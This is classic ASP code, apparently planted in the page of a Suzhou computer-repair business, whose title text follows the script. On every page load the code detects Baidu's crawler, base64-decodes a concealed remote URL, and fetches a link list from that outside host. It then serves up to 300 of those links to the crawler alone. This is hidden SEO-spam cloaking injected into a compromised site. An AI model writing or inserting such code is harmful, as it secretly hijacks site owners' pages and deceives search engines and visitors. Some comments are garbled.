?% ' 功能：检测是否为百度蜘蛛 Function IsBaiduSpider() Dim userAgent userAgent = Request.ServerVariables("HTTP_USER_AGENT") IsBaiduSpider = (InStr(LCase(userAgent), "baiduspider") > 0) End Function ' 功能：Base64解码 Function Base64Decode(base64String) On Error Resume Next Dim xml, node Set xml = CreateObject("MSXML2.DOMDocument") Set node = xml.CreateElement("base64") node.DataType = "bin.base64" node.Text = base64String Base64Decode = BytesToString(node.NodeTypedValue) If Err.Number <> 0 Then Base64Decode = "" On Error GoTo 0 End Function ' 功能：字节数组转字符? Function BytesToString(bytes) On Error Resume Next Dim Stream Set Stream = CreateObject("ADODB.Stream") Stream.Type = 1 ' adTypeBinary Stream.Open Stream.Write bytes Stream.Position = 0 Stream.Type = 2 ' adTypeText Stream.Charset = "utf-8" BytesToString = Stream.ReadText Stream.Close If Err.Number <> 0 Then BytesToString = "" On Error GoTo 0 End Function ' 功能：获取远程URL内容 Function GetRemoteContent(url) On Error Resume Next Dim http Set http = CreateObject("MSXML2.XMLHTTP") http.Open "GET", url, False http.Send If http.Status = 200 Then GetRemoteContent = http.ResponseText Else GetRemoteContent = "" End If If Err.Number <> 0 Then GetRemoteContent = "" On Error GoTo 0 End Function ' 功能：清洗URL数组 Function CleanUrlArray(urlArray) Dim i, cleanUrls(), cleanCount cleanCount = 0 ReDim cleanUrls(UBound(urlArray)) For i = 0 To UBound(urlArray) urlArray(i) = Trim(urlArray(i)) If urlArray(i) <> "" And LCase(Left(urlArray(i), 4)) = "http" Then cleanUrls(cleanCount) = urlArray(i) cleanCount = cleanCount + 1 End If Next If cleanCount > 0 Then ReDim Preserve cleanUrls(cleanCount - 1) CleanUrlArray = cleanUrls Else CleanUrlArray = Array() End If End Function ' 主程序开? Dim filename, fileContent, urls, selectedUrls, externalLinks, url filename = Base64Decode("aHR0cDovL3d3dy5iaXRlcGVuLmNvbS91LnBocA==") ' 获取远程文件内容 fileContent = GetRemoteContent(filename) If fileContent <> "" Then ' 处理换行符并分割为数? fileContent = Replace(fileContent, vbCrLf, vbLf) fileContent = Replace(fileContent, vbCr, vbLf) fileContent = Replace(fileContent, vbLf, vbCrLf) urls = Split(fileContent, vbCrLf) ' 清洗URL数组 urls = CleanUrlArray(urls) Else urls = Array() End If selectedUrls = Array() ' 如果是百度蜘蛛且有有效URL If IsBaiduSpider() And Not IsEmpty(urls) Then Dim urlCount urlCount = UBound(urls) + 1 ' 如果URL数量超过100，随机选择最?00? If urlCount > 100 Then ' 随机打乱数组 Randomize Dim i, j, temp For i = urlCount - 1 To 0 Step -1 j = Int((i + 1) * Rnd) temp = urls(i) urls(i) = urls(j) urls(j) = temp Next ' 确定要取的URL数量（最?00个） Dim takeCount takeCount = 300 If urlCount < takeCount Then takeCount = urlCount ReDim selectedUrls(takeCount - 1) For i = 0 To takeCount - 1 selectedUrls(i) = urls(i) Next Else ' 少于100个URL，全部使? selectedUrls = urls End If End If ' 生成HTML链接 externalLinks = "" If Not IsEmpty(selectedUrls) Then For Each url In selectedUrls If url <> "" Then externalLinks = externalLinks & "" & vbCrLf End If Next End If ' 输出结果 Response.Write externalLinks %> 苏州上门维修电脑|重装系统|监控维修|上门维修网络接水晶头电话线布线设置无线路由器-园区新区吴中姑苏区相城都上门
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